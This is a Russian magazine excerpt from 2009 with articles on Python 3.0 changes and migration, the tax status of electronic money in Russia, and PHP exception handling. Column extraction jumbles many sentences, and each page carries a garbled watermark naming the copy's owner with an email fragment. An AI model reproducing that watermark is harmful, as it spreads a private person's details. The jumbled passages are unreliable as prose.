№2, февраль 2009


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email: 67
bobahsmtp.ru
программирование

С новым Python 3000!


Сейчас лучше, чем никогда.
Хотя зачастую лучше никогда, чем прямо сейчас.

Тим Питерс, The Zen of Python, PEP-20


(http://www.python.org/dev/peps/pep-0020)

Сергей Супрунов
Революция, о которой так долго говорили «пайтонисты», свершилась! В ночь с 3 на 4 декабря
2008 года было официально объявлено о выходе Python 3.0 final, известного также
под именами Python 3000 и Py3k.

Я
зык Python увидел свет в 1991 го- ков языка избегать значительных мо- менения, способные повлиять на пове-
ду и по сей день достаточно дификаций, сохраняя, насколько это дение существующих python-программ,
активно развивается. Одной возможно, совместимость с кодом, Гвидо ван Россум, «главный идеолог»
из особенностей этого развития всег- разработанным для предыдущих вер- языка, обычно отшучивался, что эти
да являлось стремление разработчи- сий. На просьбы же внести в язык из- изменения планируется внести в ре-

68
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
лиз Python 3000, намекая на очень отдалённый год его вы- выполняется специально разработанной утилитой 2to3 (чуть
пуска. Теперь будущее наступило. подробнее о ней будет сказано ниже).
Здесь же отмечу, что функция ввода raw_input() пере-
Обзор основных изменений именована в input().
Новшествами, описанными в этом разделе, список измене-
ний, внесённых в версию 3.0 языка Python, не исчерпывает- Метод format() вместо «%»
ся – здесь приведены лишь наиболее заметные из них. До- Мы все привыкли к конструкциям типа:
полнительную информацию можно будет получить на стра-
нице документации: http://docs.python.org/3.0. print 'Итого: %d' % total

Оператора print больше нет когда в строке задаются «знакоместа», которые при выво-
Наиболее серьёзная «утрата», поскольку этот оператор вы- де замещаются значениями переменных, перечисленных
вода используется практически везде. В 3.0 его уже не су- в кортеже (tuple) после символа «%». Основным недостат-
ществует – для вывода переменных следует использовать ком оператора «%» является то, что это бинарный опера-
одноимённую функцию print(). Представляю, насколько тя- тор, т.е. он способен принимать только два операнда. Кро-
жело далось разработчикам языка это решение – сломать ме того, имеет место «перекрытие» некоторых функций
такой привычный «инструмент». Но зато функция предо- данного оператора и типа string, что усложняет реализа-
ставляет возможность более гибко управлять своей рабо- цию. Поэтому, хотя в версии 3.0 этот синтаксис сохраня-
той с помощью именованных параметров, а также лучше ется, имеет смысл отвыкать от него уже сейчас, посколь-
вписывается в общий стиль программы, поскольку позво- ку в Python 3.1 он, скорее всего, будет объявлен устарев-
ляет обойтись без «нетрадиционных» синтаксических конс- шим. Теперь следует использовать более универсальный
трукций вроде: и гибкий метод format():

print >>sys.stderr, 'Error' print('Итого: {0} {1}'.format(total, currency))

Теперь аналогичная задача будет решаться обычной Цифра в фигурных скобках означает порядковый номер
функцией: позиционного аргумента метода. Можно использовать так-
же именованные аргументы:
print('Error', file=sys.stderr)
print('Итого: {sum} {0}'.format(currency, sum=total)
Среди прочих параметров – sep, позволяющий изменить
символы-разделители нескольких аргументов (по умолча- Помимо просто заполнения знакоместа поддержи-
нию – пробел), и end, задающий символы, добавляемые ваются практически все возможности прежнего форма-
в конец вывода (по умолчанию – символ новой строки): тирования, а также добавлены новые (вдаваться в под-
робности сейчас не буду, детали можно найти в докумен-
>>> print(1, 2, 3) те PEP-3101 – http://python.org/dev/peps/pep-3101). На мой
1 2 3 взгляд, синтаксис этого метода тоже сложно назвать прос-
тым и понятным, но всё же он лучше соответствует обще-
>>> print(1, 2, 3, sep='->', end='!!!\n')
му стилю языка.
1->2->3!!! В ряде случаев для форматированного вывода удобно
использовать встроенную функцию format() вместо print():
Кроме того, нужно учитывать и ряд отличий в поведении
оператора print и новой функции print(). Например, в обоих >>> format(2/3, '8.3f')
случаях аргументы выводятся по умолчанию через про- ' 0.667'
бел, однако в операторе поддерживаются так называемые
программные пробелы (softspaces), когда реальный пробел Расширить возможности форматирования можно, оп-
отображается только в том случае, если предыдущий сим- ределив в своих классах метод __format__(). Также этот
вол – не перенос строки. Функция print() отображает про- метод поддерживается практически всеми встроенными
белы всегда. Пример: классами:

(2.5)>>> print 'Один', 'Два\n', 'Новая строка' >>> 1.2.__format__('.5f')


Один Два '1.20000'
Новая строка

(3.0)>>> print('Один', 'Два\n', 'Новая строка') Целые числа


В версии 3.0 прекращено деление целых чисел на «int»
Один Два
Новая строка
и «long» (процесс унификации этих типов был начат до-
статочно давно, но окончательно завершился лишь с выхо-
Сразу успокою читателей, что в ходе миграции вручную дом Python 3) – теперь все целые будут обрабатываться как
заменять оператор на функцию не придётся – эта задача long. Это не могло не сказаться на быстродействии (по сло-

№2, февраль 2009 69


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
>>> list(d.keys())
Целочисленное деление был добавлен явный оператор целочис- ['a', 'b', 'c']
Одной из наиболее обсуждаемых осо- ленного деления – «//», и программистам
бенностей Python являлось «целочислен- рекомендовалось использовать в своём Здесь же отмечу, что словари боль-
ное деление». До версии 3.0 оператор «/», коде именно его, избегая оператора «/». ше не имеют метода has_key() – теперь
оба операнда которого являлись целыми Это должно было сделать перевод данно- проверить наличие нужного ключа
числами, возвращал также целое число го оператора в будущих версиях на «дейс- можно с помощью оператора in:
(как это происходит в языке Си). То есть твительное» поведение достаточно безбо-
выражение «2/4» давало в результате «0» лезненным, однако в пределах одной вет- >>> 'a' in d
вместо ожидаемого многими «0.5». Осо- ви на такое новшество команда разработ- True
бенно это выглядело нелогичным с учётом чиков не решалась. В Python 3.0 этот шаг
>>> 'A' in d
динамической типизации в Python. Пробле- был сделан, и теперь случайных и труд-
му признавали многие, в том числе и ван но отлавливаемых ошибок в коде должно False
Россум, поэтому уже с версии 2.2 в язык стать немного меньше.
Одним из следствий перехода
вам Гвидо ван Россума, производи- до значения, переданного функции к итераторам является невозмож-
тельность на некоторых тестах упала в качестве аргумента, вторая – объ- ность применять операцию «среза»
на 10%), но такую жертву разработчи- ект класса xrange, ведущий себя по- непосредственно к результату метода.
ки, видимо, сочли приемлемой ради добно итератору: Да и прочие методы списков (append,
улучшения «архитектуры» языка. count, reverse, sort, extend и т. п.) рабо-
Кроме того, пресловутая операция >>> print range(5) тать уже не будут. Разработчики язы-
деления – «/» – отныне будет вести се- [0, 1, 2, 3, 4] ка рекомендуют изменить свои скрип-
бя согласно здравому смыслу: теперь ты таким образом, чтобы эти методы
>>> print xrange(5)
«3/5» будет возвращать «0.6», а не «0». не требовались. Если уж совсем ни-
Для целочисленного деления следу- xrange(5) как – используйте функцию list(), чтобы
ет использовать специальный опера- преобразовать итератор в список.
тор – «//» (см. врезку «Целочисленное Отличие заключается в следую-
деление»). щем: список сразу размещается в па- Да здравствует Unicode!
Также изменён синтаксис восьме- мяти, в то время как итератор явля- До версии 3.0 исходный код на языке
ричных чисел: вместо записи 0640 сле- ется особым объектом, который пре- Python рассматривался интерпретато-
дует использовать 0o640, по аналогии доставляет значения по мере необхо- ром по умолчанию как ASCII-текст. На-
с записью шестнадцатеричного кода. димости. С одной стороны, использо- циональные символы вызывали ошиб-
Чтобы «отловить» возможные ошиб- вание итераторов снижает требова- ку интерпретатора, и для их исполь-
ки, вызванные привычкой, любые чис- ния к памяти (особенно для больших зования кодировку требовалось ука-
ла, начинающиеся с нуля без последу- списков), но с другой – может увеличи- зывать явно:
ющей буквы, в 3.0 возвращают ошиб- вать вычислительную нагрузку и в ря-
ку синтаксиса: де случаев может сказываться на быс- #!/usr/local/bin/python
# -*- coding: koi8-r -*-
тродействии.
>>> 0o640 Так вот, в версии 3.0 разработчи- В новой версии основным стан-
416 ки языка, похоже, решили, что спис- дартом кодирования является Unicode.
ки есть зло, и очень многие методы, Следствия этого:
>>> 0640
ранее возвращавшие их (например, n Исключён префикс u'' для строк
File “<stdin>”, line 1 функции filter(), map(), уже упомяну- в Unicode.
0640
^ тая range()), теперь возвращают объ- n Добавлен префикс b'' для «бинар-
SyntaxError: invalid token екты-итераторы. Аналогично ведут ных» строк, которые будут интер-
себя методы словарей keys(), values(), претироваться побайтно.
Плюс к этому добавлены формат items(), также возвращающие итериру- n Допускается использование сим-
для записи двоичных чисел – 0b1010 – емые объекты вместо списков (одна- волов национальных алфавитов
и соответствующая функция bin(). ко нужно иметь в виду, что это не от- не только в строковых константах,
дельные итераторы, а специальные но и в именах переменных, функ-
Дорогу итераторам объекты, отслеживающие изменения ций, методов и т. п.
В Python 3.0 прослеживается тенден- в словаре). n При чтении файлов по умолчанию
ция к повсеместному отказу от спис- При необходимости преобразова- будет выполняться преобразова-
ков в пользу итераторов. ние в список можно выполнить встро- ние в Unicode; для считывания «сы-
Наиболее просто эту концепцию енной функцией list: рого» содержимого файла следует
можно пояснить на примере функций открывать его с явным указанием
range() и xrange(). В версиях 2.x обе >>> d = {'a': 'A', 'b': 'B', 'c': 'C'} режима «b»:
>>> d.keys()
функции присутствуют – первая воз-
вращает список целых чисел от нуля <dict_keys object at 0x00E8FBC0> open(file, 'rb')

70
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
n Пользователям UNIX-подобных систем следует более raise Exception(message)
внимательно относиться к переменной окружения LANG
(или LC_CTYPE) – именно ей интерпретатор будет ру- Также в операторе «try – except» вместо:
ководствоваться при работе с именами файлов, задан-
ных в национальной кодировке, и в ряде других случа- except Exception, var
ев. (Пользователям Windows чуть проще, так как эта
ОС уже хранит имена файлов в Unicode.) нужно использовать синтаксис:
n Функция repr() и метод строк __repr__() больше не вы-
полняют преобразование «неASCII»-кода в escape-пос- except Exception as var
ледовательности (в Python 2.5 функция repr('строка') воз-
вратит «'\\xe1\\xe2\\xe0\\xae\\xaa\\xa0'», в то время как Теперь поддерживаются так называемые цепочки ис-
в 3.0 – «'строка'»). Escape-последовательности сохра- ключений – при возникновении исключения в блоке except
нились только для управляющих символов – «\n», «\t» или finally оператора «try – except – finally» доступ к перво-
и ряда других. начальному исключению можно получить через атрибут
__context__.
Подробности вы найдёте в следующем документе: http:// Если в некоторой переменной (допустим, exceptvar) со-
docs.python.org/3.0/howto/unicode.html#unicode-howto. хранён объект исключения, то цепочку исключений мож-
но вызвать и явно:
Никаких исключений для исключений
Исключения (Exceptions) стали полностью «объектно-ори- raise Exception() from exceptvar
ентированными». Теперь даже оператор raise требует
в качестве аргумента только объект, являющийся потом- В этом случае первоначальное исключение exceptvar со-
ком по крайней мере класса BaseException; использова- храняется в атрибуте __cause__ объекта Exception.
ние простых строковых сообщений не допускается (хотя
и в 2.5 оператор «raise 'Error message'» уже выполняется Закат «классических» классов
с предупреждением): Изначально в языке Python классы и типы, несмотря на вне-
шнее сходство, имели различное внутреннее устройс-
>>> raise 'Error message' тво, что не позволяло выполнять наследование от типов.
__main__:1: DeprecationWarning: raising a string exception is deprecated В Python 2, дополнительно к этим «классическим» классам,
Traceback (most recent call last):
File “<stdin>”, line 1
были добавлены «новые» – чтобы использовать их возмож-
TypeError: exceptions must derive from BaseException ности, требовалось явное наследование от класса object.
Теперь «классические» классы исключены из языка, и лю-
>>> raise Exception, 'Error message'
бой класс (в том числе и пользовательский без явного ука-
File “<stdin>”, line 1 зания родительского класса) работает как «новый».
raise Exception, 'Error message'
^
SyntaxError: invalid syntax
Прочие «мелочи»
>>> raise Exception('Error message')
Появился синтаксис «расширенной распаковки», упроща-
ющий развёртывание списка или значений итерируемого
File “<stdin>”, line 1, in (module)
Exception: Error message объекта в отдельные переменные. Пример:

Естественно, вы можете использовать и собственные >>> s = 'serg:*:1006:1006:Suprunov:/home/serg:/usr ↵


/local/bin/bash'
классы исключений, но они обязательно должны являться >>> login, *tmp, shell = s.split(':')
наследниками класса BaseException (как правило, в общих >>> login
случаях в качестве базового используют класс Exception). 'serg'
Обратите внимание и на некоторые изменения синтак-
>>> shell
сиса. В Python 2.x вы могли вызвать исключение следую-
щим образом: '/usr/local/bin/bash'

raise Exception, message, traceback >>> tmp


['*', '1006', '1006', 'Suprunov', '/home/serg']
где:
n Exception – объект-исключение; То есть с начала и/или с конца списка можно выбрать
n message – выводимое сообщение об ошибке; нужные значения, а всё остальное записать в один список.
n traceback – вывод обратной трассировки. Особенно этот синтаксис удобен, когда приходится разби-
рать строки с неопределённым числом элементов, в кото-
Теперь message следует передавать как аргумент рых нужны лишь один-два первых элемента.
Exception, параметр traceback больше не поддержива- Исключён модуль sets, осуществлявший работу с мно-
ется (если он вам нужен, можете переопределить атрибут жествами. Вместо него нужно использовать встроенный
__traceback__ в классе исключения): тип set:

№2, февраль 2009 71


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
tariffs = set(('Повремённый', 'Комбинированный', ↵ А вот для проектов с продолжительным жизненным цик-
'Безлимитный'))
лом, находящихся на начальных этапах разработки, име-
То же самое можно сделать и с использованием нового ет смысл осуществить миграцию на новую версию и вести
синтаксиса для множеств: дальнейшую разработку уже с учётом её особенностей.
Что же касается небольших скриптов, то здесь вопрос сво-
tariffs = {'Повремённый', 'Комбинированный', ↵ дится, скорее, к личному интересу – если есть желание «поиг-
'Безлимитный'}
раться» с новой версией, то можно заняться миграцией. Если
Исключён оператор неравенства «<>». Теперь поддер- вы сторонник принципа «пока работает – не трогай», то мож-
живается только «!=». но смело подождать момента, когда ваши скрипты «переста-
Операции сравнения несовместимых типов (напри- нут работать», а это произойдёт ещё очень не скоро.
мер, числа со строкой) теперь будут возвращать ошиб- Если вы всё-таки решили выполнять миграцию, то Гви-
ку TypeError. до ван Россум рекомендует следующую последователь-
Расширился список зарезервированных слов. К нему ность действий:
добавлены: nonlocal, True, False, None, as, with и прочие. n Желательно использовать хорошие автоматические
Не забывайте сверяться с документацией. тесты.
Ряд стандартных модулей сменил название на более n Обновиться до версии 2.6 и добиться безошибочной ра-
соответствующее общепринятым соглашениям. Например, боты вашего кода с этой версией интерпретатора. Пос-
ConfigParser переименован в configparser, SocketServer – кольку в рамках 2-й ветви разработчики придержива-
в socketserver, и т.п. Некоторые близкие по функциональ- ются принципа обратной совместимости, то серьёзных
ности модули объединены в пакеты (например, модули проблем у вас на этом этапе возникнуть не должно.
BaseHTTPServer, SimpleHTTPServer, CGIHTTPServer, httplib, n (Все еще с Python 2.6.) Добавить ключ «-3» в командах
Cookie, cookielib теперь объединены в пакет http, включаю- вызова интерпретатора, то есть из командной строки
щий модули client, server, cookies и cookiejar). запускать скрипты командой:

Вопросы миграции python -3 script.py


Как видите, изменения довольно серьёзные, и ваш ны-
нешний код с вероятностью 99,9% в Python 3.0 работать Благодаря этому интерпретатор переключится в режим
не будет: предупреждения о несовместимости с версией 3.0, и на
n если вы используете оператор print, интерпретатор вер- консоль вы будете получать сообщения о тех синтакси-
нёт ошибку; ческих конструкциях, которые нужно будет модифициро-
n если вы не прислушивались к рекомендации использо- вать. Здесь придётся поработать, корректируя код до тех
вать для целочисленного деления оператор «//» вместо пор, пока не останется ни одного предупреждения.
«/», то ваш код может работать неправильно; n Теперь вы готовы к миграции. Пропустите ваш код че-
n если вы активно используете вывод методов словарей рез специальную утилиту 2to3 (её вы найдёте в ката-
keys(), values() и т. п. именно как списки, ваш код не бу- логе Tools/scripts дистрибутива, описание использова-
дет работать; ния можно почитать по адресу http://docs.python.org/3.0/
n многие функции, связанные с преобразованием строк library/2to3.html#to3‑reference), которая выполнит боль-
в разные кодировки, будут работать неправильно либо шинство рутинных синтаксических преобразований, та-
не будут работать вообще; ких как замена оператора print функцией print().
n даже если ни под один из вышеприведённых случаев ваш n Настало время пробовать запустить код под интерпре-
код не подпадает, наверняка найдётся ещё что-нибудь, татором 3‑й версии. 100-процентную гарантию безоши-
что не позволит ему нормально работать в Python 3. бочности вам никто не даст, поэтому всестороннее тес-
тирование по-прежнему необходимо. Однако здесь кор-
Таким образом, вам придётся выбирать между двумя ректив должно потребоваться немного.
альтернативами: продолжать использование 2-й версии
языка либо модифицировать свой код под новые синтак- В награду за выполненную работу вы получите возмож-
сические требования. ность пользоваться преимуществами новой версии (а также
Первая альтернатива целесообразна для больших про- терпеть её недоработки, если таковые будут выплывать).
ектов, которые находятся в высокой степени готовности
либо уже работают. Также нет особого смысла переносить Не останавливаясь на достигнутом...
на новую версию код, жизненный цикл которого не превы- Выпустив релиз 3.0, команда разработчиков продолжает
шает одного-двух лет, поскольку полноценная поддержка движение вперёд, и уже можно начинать отслеживать из-
2‑й версии языка будет продолжаться ещё довольно дол- менения, вносимые в следующий выпуск 3.1 – http://docs.
го. Кроме того, не следует сбрасывать со счетов некоторую python.org/dev/py3k/whatsnew/3.1.html. Ожидается, что ос-
«сырость» интерпретатора версии 3.0, а также запаздыва- новным акцентом этого релиза станет оптимизация кода.
ние поддержки версии 3.0 в библиотеках и модулях сторон- Также ведётся разработка следующей версии во 2-й вет-
них разработчиков (например, на момент подготовки ста- ви – 2.7. Никаких потрясений, связанных с этими релизами,
тьи библиотека Python Image Library для Python 3.0 на сай- не ожидается, так что, единожды приняв решение о мигра-
те разработчика не упоминалась). ции, дальше можно жить спокойно.

72
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
закон есть закон
Тема, конечно, не совсем админская, ценными бумагами нельзя. Сертифи‑
но интересно было бы узнать, каков каты также удостоверяют права вла‑
сейчас на территории России юри- дельцев на ценные бумаги только до‑
дический статус виртуальных де- кументарной формы, таким образом,
нег. Скажем, если я получаю воз- документы, выпускаемые платежной
награждение за некоторую работу системой WebMoney, ценными бума‑
«Яндекс.Деньгами» или «векселями» гами не являются.
WebMoney, считается ли это юриди- В связи с тем что виртуальные
чески доходом, должен ли уплачи- деньги таковыми не являются, а так‑
ваться с этих сумм налог и т. п.? же не являются ценными бумагами,
В настоящее время юридический ста‑ к ним неприменимы правила о валют‑
тус виртуальных (электронных) де‑ ном регулировании и валютном конт‑
нег законодательством не определен. роле, то есть продавать часть валют‑
Рубрику ведет юрист
Единственным законным средством ной выручки, учитывать курсовую раз‑ Юлия Штокало
платежа на территории России являет‑ ницу не надо. Но на основании вышеу‑
ся рубль. Однако гражданское законо‑ казанных доводов нельзя сказать, что ченное за выполненные работы (услу‑
дательство предусматривает возмож‑ применение электронных денег для ги) также считается доходом, подлежа‑
ность использования при совершении расчетов является незаконным. В свя‑ щим налогообложению. В случае, если
сделок электронной цифровой подписи зи с отсутствием законов, которые бы ваши работы (услуги) оплатили через
и предоставляет возможность заключе‑ регулировали эти отношения, возни‑ электронные деньги без исчисления
ния договора путем обмена документа‑ кают трудности с их юридическим оп‑ и уплаты налога на доход, вы должны
ми посредством электронной или иной ределением, что никак не влияет на их исчислить и уплатить налог самосто‑
связи, позволяющей достоверно уста‑ легитимность. ятельно на основании налоговой де‑
новить, что документ исходит от сторо‑ При получении дохода в виде элек‑ кларации, которую подаете в налого‑
ны по договору. Таким образом, исполь‑ тронных денег может возникнуть воп‑ вый орган не позднее 30 апреля года,
зование электронных средств платежа – рос: платить ли с этих денег налоги? следующего за тем, в котором был по‑
виртуальных (электронных) денег – яв‑ По общему правилу российские орга‑ лучен доход. Уплата указанного в на‑
ляется вполне законным. низации, от которых или в результате логовой декларации дохода должна
Обычно после заключения согла‑ отношений с которыми налогоплатель‑ быть произведена в течение 15 кален‑
шения с электронной платежной сис‑ щик получил доход, обязаны исчис‑ дарных дней с даты подачи деклара‑
темой вы принимаете условия, изло‑ лить, удержать у налогоплательщика ции. При этом вам не обязательно са‑
женные в этом соглашении. Все элек‑ и уплатить сумму НДФЛ. мостоятельно приобретать эту форму,
тронные платежные системы рабо‑ Возможны ситуации, когда ор‑ ее можно скачать с сайта налоговиков:
тают по принципу предоплаченности, ганизация обязана удержать налог, http://www.nalog.ru. Для исчисления на‑
то есть оплата с электронного кошель‑ но не имеет возможности это сделать. лога вам понадобятся: форма налого‑
ка возможна только после пополнения В данном случае речь может идти о лю‑ вой декларации по налогу на доходы
счета путем приобретения «титульных бой фирме – осуществляющей расчеты физических лиц (форма 3‑НДФЛ) и по‑
знаков» либо зачисления «Платежа» как через электронные средства плате‑ рядок ее заполнения. Форму для за‑
в виртуальный кошелек пользовате‑ жа, так и наличными деньгами. При по‑ полнения налоговой декларации мож‑
ля. Работа через систему WebMoney лучении дохода от иностранной органи‑ но взять и в IT-отделе налоговой инс‑
осуществляется путем приобретения зации вы должны будете самостоятель‑ пекции вашего района.
выпускаемых электронной платежной но посчитать и уплатить за себя нало‑ При подаче декларации вы указы‑
системой «титульных знаков». В систе‑ ги. В таком случае организация в ме‑ ваете общую сумму полученного до‑
ме «Яндекс.Деньги» вы делаете пла‑ сячный срок с момента возникновения хода и расписываете, из каких источ‑
теж на свой виртуальный счет. обязанности по удержанию должна со‑ ников он получен (см. http://www.rg.ru/
В договорах с WebMoney титуль‑ общить о невозможности удержать на‑ 2006/02/07/deklaracia-prikaz-dok.html).
ные знаки по названию совпадают логи и сумме задолженности в налого‑ Далее сами подсчитываете налог,
с названием ценных бумаг или серти‑ вую. Организация, с которой вы работа‑ льготы и налоговые вычеты, уплачи‑
фикатов ценных бумаг, однако с точки ете может проводить неофициальные ваете налог и представляете декла‑
зрения закона они ценными бумагами платежи по оплате работ (услуг), в та‑ рацию в налоговую инспекцию. Доку‑
признаваться не могут. Поскольку, на‑ ком случае налог за вас также не уп‑ ментальное подтверждение получен‑
пример, электронные чеки, используе‑ лачивается (данная схема не совсем ных доходов предоставлять не нужно,
мые при безналичных расчетах могут соответствует требованиям закона, но необходимы только копии документов
выпускаться только кредитными орга‑ она все же имеет место быть). Однако подтверждающих льготы или налого‑
низациями и должны быть оформлены при налогообложении учитываются все вое вычеты (если таковые имеются).
согласно требованиям, установленным доходы, полученные вами как в денеж‑ Размеры и порядок применения льгот
законодательством, а электронные че‑ ной, так и в натуральной формах. На‑ по налогообложению и налоговых вы‑
ки WebMoney не отвечают этим тре‑ логовым законодательством предус‑ четов определяется Налоговым ко‑
бованиям, то называть эти документы мотрено, что вознаграждение, полу‑ дексом РФ.

№2, февраль 2009 73


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб-программирование

Почему стоит использовать


механизм обработки
исключений в PHP

Антон Гришан
Большую часть времени и сил разработчики тратят на обработку ситуаций, которые
случаются редко или вообще никогда не происходят, однако именно по поведению системы
в нестандартных ситуациях можно судить о качестве программного продукта.

П
ятая версия PHP пред лага- внедрение обработки исключитель- граммирования, с помощью конструк-
ет объектно-ориентированный ных ситуаций, подобно тому, как это ции try-catch.
подход к разработке веб-при- реализовано во многих других объ- Генерация исключений – наиболее
ложений. Одно из удобных новшеств – ектно-ориентированных языках про- современный подход, разработанный

74
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб-программирование
с учетом недостатков существовавших ранее способов. В случае возникновения ошибки можно вернуть значе-
Чтобы лучше понять, какие преимущества дает использо- ние, которое не содержится во множестве значений, воз-
вание механизма исключений, рассмотрим несколько при- вращаемых функцией в штатном режиме. Например, для
меров реакции приложения на возникающие ошибки. функции определения длины строки признаком возникно-
вения ошибки может быть значение -1 или false, как в при-
Пример 1: прекращение выполнения программы веденном выше примере. В отличие от предыдущего при-
в случае возникновения ошибки мера обработка ошибок вынесена в вызывающую функцию,
что повышает гибкость и улучшает переносимость кода.
<?php Возврат специальных значений не позволяет опреде-
/**
* Метод осуществляет подключение к серверу MySQL, лить, в каком месте функции произошла ошибка. В приве-
* в случае ошибки завершает работу программы денном примере метод connect() вернет false в случае не-
*/
public function connect($dbName, $host, $port, $login, ↵ возможности установить соединение с БД и в случае не-
$password, $charset) { возможности установить требуемую кодировку. Получив
.......
$db = new mysqli($host, $login, $password, ↵ в качестве работы функции false, сложно понять, что имен-
$dbName, $port); но произошло, и соответственно сложно сформировать ин-

// Проверяем, возникла ли ошибка в ходе подключения формативное сообщение об ошибке и правильно выбрать
// к БД метод обработки.
if(($errorCode = mysqli_connect_errno()) != 0) {
die("Can't connect to DB: [".$errorCode."] ↵
".mysqli_connect_error()); Пример 3: возврат кода ошибки
}
.......
// Устанавливаем кодировку, которую будем <?php
// использовать для общения с БД /**
if(!$db->set_charset($charset)) { * Метод осуществляет подключение к серверу MySQL,
// Установить нужную кодировку не удалось * в случае ошибки, возвращает код ошибки
die("Сan't set charset [".$charset."]"); */
} public function connect($dbName, $host, $port, $login, ↵
....... $password, $charset) {
}
?> define('SUCCESS', 0);
define('ERROR_DB_CONNECTION', 1);
define('ERROR_DB_CHARSET', 2);
Первый способ реакции на нестандартную ситуацию –
вывести сообщение об ошибке и прекратить работу при- .......
$db = new mysqli($host, $login, $password, ↵
ложения. Такой подход имеет два существенных недо- $dbName, $port);
статка:
// Проверяем, возникла ли ошибка в ходе подключения
n Возможно, код будет использован в другом приложении, // к БД
которое не требует прекращения выполнения приложе- if(($errorCode = mysqli_connect_errno()) != 0) {
return(ERROR_DB_CONNECTION);
ния в случае возникновения данной ошибки. }
n Отображение информации об ошибке для обычно- .......
// Устанавливаем кодировку, которую будем
го пользователя не представляет никакого интереса, // использовать для общения с БД
но может помочь злоумышленнику осуществить про- if(!$db->set_charset($charset)) {
// Установить нужную кодировку не удалось
никновение в систему. return(ERROR_DB_CHARSET);
}
.......
Пример 2: возврат специального значения return(SUCCESS);
}
?>
<?php
/**
* Метод осуществляет подключение к серверу MySQL, Возврат кода ошибки позволяет идентифицировать при-
* в случае ошибки возвращает FALSE чину возникновения ошибки и правильно отреагировать на
*/
public function connect($dbName, $host, $port, $login, ↵ возникшую ситуацию в вызывающем коде. Однако к недо-
$password, $charset) { статкам этого подхода можно отнести:
.......
$db = new mysqli($host, $login, $password, ↵ n ухудшение инкапсуляции кода, так как вызывающий ме-
$dbName, $port); тод должен знать, что означает каждый код возврата;

// Проверяем, возникла ли ошибка в ходе подключения n как правило, в качестве кодов ошибок используются це-
// к БД лые числа, что осложняет использование данного ме-
if(($errorCode = mysqli_connect_errno()) != 0) {
return(false); тода для функций, возвращающих число в качестве ре-
} зультата работы.
.......
// Устанавливаем кодировку, которую будем
// использовать для общения с БД Пример 4: генерация исключения
if(!$db->set_charset($charset)) {
// Установить нужную кодировку не удалось
return(false); <?php
} /**
....... * Метод осуществляет подключение к серверу MySQL,
return(true); * в случае ошибки, бросает исключение
} */
?>

№2, февраль 2009 75


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб-программирование
public function connect($dbName, $host, $port, $login, ↵ n Информативные сообщения об ошибках. Исключе-
$password, $charset) { ние позволяет четко локализовать возникшую ошибку
....... и получить:
$db = new mysqli($host, $login, $password, ↵  текстовое описание ошибки;
$dbName, $port);
 код ошибки;
// Проверяем, возникла ли ошибка в ходе подключения  имя файла, в котором произошла ошибка;
// к БД
if(($errorCode = mysqli_connect_errno()) != 0) {  номер строки, где было сгенерировано исключение;
throw new Exception("Can't connect to DB: ↵  стек вызова с указанием параметров вызванных
[".$errorCode."] ↵
".mysqli_connect_error()); функций.
} Подробная информация об ошибке значительно упро-
.......
// Устанавливаем кодировку, которую будем щает процесс отладки и сопровождения приложения.
// использовать для общения с БД n Большая гибкость при выборе способа обработки
if(!$db->set_charset($charset)) {
// Установить нужную кодировку не удалось ошибок. При написании класса разработчику не тре-
throw new Exception("Сan't set charset ↵ буется думать о том, как должна быть обработана каж-
[".$charset."]");
} дая из возможных ошибок, все, что необходимо – бро-
....... сить исключение с подробным описанием проблемы.
}
?> Способ обработки ошибки должен определить програм-
мист, использующий класс. В зависимости от ситуации
В случае возникновения ошибки метод генерирует ис- реакция на одни и те же ошибки в разных приложениях
ключение (объект класса Exception) и прерывает выпол- может быть разной. Кроме того, можно создавать собс-
нение основного алгоритма с помощью оператора throw. твенные классы исключений и выполнять определен-
